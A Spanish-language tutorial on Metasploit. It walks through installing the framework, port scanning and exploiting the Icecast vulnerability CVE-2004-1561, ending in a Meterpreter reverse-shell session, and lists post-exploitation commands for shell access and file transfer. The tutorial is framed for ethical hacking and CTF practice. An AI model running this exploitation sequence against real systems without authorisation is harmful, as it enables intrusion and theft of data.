Metasploit: Aprende a Explorar y Explotar Vulnerabilidades como un Experto

En esta guía, te mostraré cómo utilizar Metasploit de manera eficiente, desde la configuración básica hasta el uso avanzado de módulos como Meterpreter. Además, explicaremos cómo aplicar estos conceptos con un ejemplo práctico para explotar vulnerabilidades reales.

¿Qué es Metasploit?

Metasploit es un framework de pruebas de penetración que permite a los profesionales de la seguridad informática identificar, explotar y validar vulnerabilidades en sistemas. Su flexibilidad lo convierte en una herramienta imprescindible para cualquier hacker ético. Con una amplia gama de módulos y funcionalidades, Metasploit te permite:

  • Escanear y analizar sistemas.
  • Explotar vulnerabilidades conocidas.
  • Obtener shells interactivas con Meterpreter.
  • Automatizar tareas de post-explotación.

➡️​Configuración inicial de Metasploit

Para comenzar, asegúrate de tener Metasploit instalado en tu sistema. Si estás utilizando Kali Linux, Metasploit ya viene preinstalado. De lo contrario, puedes instalarlo ejecutando:

sudo apt update && sudo apt install metasploit-framework

Inicia el framework con el siguiente comando:

msfconsole

Este comando abrirá la consola interactiva de Metasploit, donde realizarás todas las configuraciones y lanzamientos de exploits.

➡️​Escaneando el sistema objetivo

El primer paso es identificar las vulnerabilidades en el sistema de la víctima. Para ello, utilizamos el escaneo Nmap directamente desde Metasploit:

use auxiliary/scanner/portscan/tcp
set RHOSTS «IP de la víctima»
set THREADS 10
run

Este escaneo identificará los puertos abiertos y servicios que se están ejecutando en el sistema objetivo. Asegúrate de reemplazar «IP de la víctima» con la dirección IP real del sistema objetivo.

➡️​Explotando vulnerabilidades

Para explicar cómo funciona el proceso de explotación, vamos a utilizar un ejemplo práctico. Supongamos que, tras realizar el escaneo, identificamos que el servicio Icecast está corriendo en el sistema de la víctima. Esta versión específica de Icecast contiene una vulnerabilidad conocida (CVE-2004-1561) que permite la ejecución remota de código.

Primero, buscamos información sobre el exploit en la base de datos de Metasploit:

search icecast

Una vez identificado el módulo adecuado, lo cargamos en la consola:

use exploit/windows/http/icecast_header
set RHOST «IP de la víctima»
set RPORT 8000

Configuramos las opciones necesarias, incluyendo la IP de nuestra máquina como LHOST:

set LHOST «IP de nuestra máquina»
set PAYLOAD windows/meterpreter/reverse_tcp

Finalmente, ejecutamos el exploit:

run o exploit

Si todo funciona correctamente, obtendremos una sesión de Meterpreter en el sistema objetivo (como ha sido el caso de la imagen de arriba)

➡️​Uso avanzado de Meterpreter

Meterpreter es una herramienta increíblemente poderosa que se ejecuta en memoria y proporciona acceso interactivo al sistema comprometido. Algunos de los comandos más útiles incluyen:

  • sysinfo: Muestra información del sistema objetivo.
  • getuid: Muestra el usuario actual.
  • shell: Abre una shell interactiva en el sistema objetivo.
  • upload y download: Permiten transferir archivos hacia y desde el sistema.

Ejemplo:

➡️​Consejos para CTFs y entornos prácticos

Metasploit es especialmente útil en desafíos de CTF. Por ejemplo, al enfrentarte a una máquina con vulnerabilidades conocidas, puedes buscar directamente exploits relacionados con el servicio identificado y aplicar los módulos correspondientes. Asegúrate de:

  • Usar search para localizar exploits específicos.
  • Leer las descripciones de los módulos para entender cómo configurarlos.
  • Probar diferentes configuraciones de payloads según el entorno.

Como conclusiones me gustara añadir que es una herramienta realmente útil para aprender al principio y para resolver CTFs.